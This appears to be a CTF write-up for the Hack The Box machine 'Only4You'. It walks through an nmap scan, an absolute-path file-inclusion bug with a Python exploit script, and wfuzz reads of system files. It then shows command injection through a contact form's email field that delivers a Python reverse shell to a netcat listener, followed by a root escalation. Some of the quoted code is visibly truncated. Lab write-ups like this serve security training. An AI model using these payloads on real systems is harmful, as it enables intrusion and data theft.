CTF Only For You

5 minute read


First getting the lay of the land. Lets start off with a scan of the box to see what services we are attacking.

nmap -O -sC -sV

Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-01 13:04 BST
Nmap scan report for only4you.htb (
Host is up (0.017s latency).
Not shown: 998 closed tcp ports (reset)
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e8:83:e0:a9:fd:43:df:38:19:8a:aa:35:43:84:11:ec (RSA)
|   256 83:f2:35:22:9b:03:86:0c:16:cf:b3:fa:9f:5a:cd:08 (ECDSA)
|_  256 44:5f:7a:a3:77:69:0a:77:78:9b:04:e0:9f:11:db:80 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Only4you
|_http-server-header: nginx/1.18.0 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.09 seconds

There is an http server and a ssh server. Requesting our domain results in a redirect to http://only4you.htb so I need to update my /etc/hosts with the domain I would need credentials to attack the ssh server so I’m going to ignore it till later.


Lets see what our HTTP server responds with. Using Link Gopher extension, we can extract every link on the home website.



beta.only4you.htb is very interesting and we are going to add it to our hosts file for later.

There also is a form which we can use. filling it out responds in a 302 html response. This looks to be non functional on this website. This might be something to try out later

time to investigate the beta site.


This website immediately gives you the source code to the website. Looking over it, /download immediately jumps out at me for an LFI.

@app.route('/download', methods=['POST'])
def download():
    image = request.form['image']
    filename = posixpath.normpath(image)
    if '..' in filename or filename.startswith('../'):
        flash('Hacking detected!', 'danger')
        return redirect('/list')
    if not os.path.isabs(filename):
        filename = os.path.join(app.config['LIST_FOLDER'], filename)
        if not os.path.isfile(filename):
            flash('Image doesn\'t exist!', 'danger')
            return redirect('/list')
    except (TypeError, ValueError):
        raise BadRequest()
    return send_file(filename, as_attachment=True)

Reading though, it appears to have some prevention for basic LFI. However, after some testing, it appears we can use the absolute path instead of a relative path to find files near the root of the file system.

import os 

using this knowledge, we can compose a payload which avoids the 1st and 2nd condition checks. After some scripting and a little work, we have a basic LFI tool.

#!/usr/bin/env python3

import requests
import sys

def lfi(file):
    url = "http://beta.only4you.htb/download"

    payload = {
        "image": file

    r = requests.post(url, data=payload)
    return r.text

if __name__ == "__main__":
    file = sys.argv[1]

This works and we have a working LFI!


Now that we have LFI, its time to find out information about the system. Time for fuzzing!

I use a simple wordlist to find some of the useful files.

wfuzz -z file,file_inclusion_linux.txt -d "image=/FUZZ" --hc 302 "http://beta .only4you.htb/download"

* Wfuzz 3.1.0 - The Web Fuzzer                         *

Target: http://beta.only4you.htb/download
Total requests: 1226

ID           Response   Lines    Word       Chars       Payload                                       

000000003:   200        280 L    969 W      9733 Ch     "/boot/grub/grub.cfg"                         
000000005:   200        88 L     467 W      3028 Ch     "/etc/adduser.conf"                           
000000065:   200        20 L     68 W       778 Ch      "/etc/dhcp/dhclient.conf"                     
000000062:   200        20 L     99 W       604 Ch      "/etc/deluser.conf"                           
000000061:   200        33 L     173 W      1421 Ch     "/etc/default/grub"                           
000000060:   200        1 L      1 W        13 Ch       "/etc/debian_version" 

After looking though the results, there are only a few files of interest. Of interest is /etc/nginx/sites-available/default because it helps us work out the where the server code is.

server {
    listen 80;
    return 301 http://only4you.htb$request_uri;
server {
	listen 80;
	server_name only4you.htb;

	location / {
                include proxy_params;
                proxy_pass http://unix:/var/www/only4you.htb/only4you.sock;

It looks like its using only4you.htb for the server name which is interesting. Though some educated guesses, we can guess the service files. /etc/systemd/system/only4you.service

Description=Gunicorn instance for only4you

ExecStart=/usr/bin/gunicorn --workers 3 --bind unix:only4you.sock -m 007 app:app


It looks to be a python server in /var/www/only4you.htb/app.py I can test this by requesting the file.

only4you.htb source code

from flask import Flask, render_template, request, flash, redirect
from form import sendmessage
import uuid

app = Flask(__name__)
app.secret_key = uuid.uuid4().hex

Looking though this file, we find nothing of interest. There is a strange import from something called form. Trying to request form.py results in a much more interesting file

import smtplib, re
from email.message import EmailMessage
from subprocess import PIPE, run
import ipaddress

def issecure(email, ip):
	if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
		return 0
		domain = email.split("@", 1)[1]
		result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
		output = result.stdout.decode('utf-8')
		if "v=spf1" not in output:
			return 1

Importantly, this code appears to execute dig txt {domain} The code does no form of sanitisation on this input which means its ideal for an RCE!

Starting a listener server with netcat nc -lvnp 9001, we start to make attempts. No hits on using bash or nc for a reverse shell. Attempting to spawn a shell using python works however! Using curl we can easily spawn a shell session

 curl --location 'http://only4you.htb/' \
                                      --form 'email="fake@gmail.com && python3 -c 
'\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"\",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'\''"' \
                                      --form 'subject="test"' \
                                      --form 'message="test"'

Now that I have a reverse shell, i run linpeas to enumerate the system.

While enumerating, i find that /bin/bash has a privilege escalation vun. running bash -p This dropped me straight into root and I collected my flags.

Post Comments

I don’t believe my PVE exploit was intended as i bypassed a lot of the box. Furthermore, testing for this PVE after the box was reset, I couldn’t find it again.

I might go back and attempt this box again because ended up not using a lot of the services such as:

  • ssh
  • mysql
  • neo4j

and it might be interesting to see how they they were involved.

Overall i found the box pretty simple and short. (probably due to unintentional solution)